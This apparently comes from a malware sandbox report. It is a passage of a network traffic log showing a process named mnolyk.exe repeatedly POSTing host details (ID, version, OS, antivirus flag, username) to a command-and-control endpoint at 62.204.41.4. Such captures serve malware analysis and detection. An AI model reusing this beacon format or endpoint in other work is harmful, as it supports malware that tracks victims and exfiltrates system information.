Feb 6, 2023 18:37:45.355281115 CET	854	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.7	50123	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:45.530649900 CET	855	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:45.594862938 CET	855	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.7	50124	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:45.767097950 CET	856	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:45.832027912 CET	856	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.7	50125	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:46.016413927 CET	857	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:46.083712101 CET	857	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.7	50126	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:46.263726950 CET	858	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:46.327986002 CET	858	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.7	50127	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:46.506414890 CET	859	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:46.570149899 CET	859	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49728	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:57.036982059 CET	436	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:57.103548050 CET	436	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	49764	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:07.304244995 CET	472	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:07.370210886 CET	472	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.7	50128	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:46.748437881 CET	860	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:46.816963911 CET	860	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.7	50129	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:46.992346048 CET	861	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:47.057813883 CET	861	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.7	50130	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:47.251535892 CET	862	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:47.316962004 CET	862	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.7	50131	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:47.485008001 CET	863	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:47.549081087 CET	863	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.7	50132	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:47.847647905 CET	864	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:47.911786079 CET	864	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.7	50133	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:48.134150982 CET	865	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:48.200330019 CET	865	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.7	50134	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:48.466411114 CET	866	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:48.530484915 CET	866	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.7	50135	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:49.197725058 CET	867	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:49.261332989 CET	867	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.7	50136	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:49.465984106 CET	868	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:49.531065941 CET	868	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.7	50137	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:50.172257900 CET	869	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:50.237481117 CET	869	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	49765	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:07.550648928 CET	472	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:07.616096973 CET	473	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.7	50138	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:50.675317049 CET	870	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:50.741820097 CET	870	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.7	50139	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:50.922595024 CET	871	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:50.985634089 CET	871	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.7	50140	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:51.157274961 CET	872	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:51.222137928 CET	872	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.7	50141	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
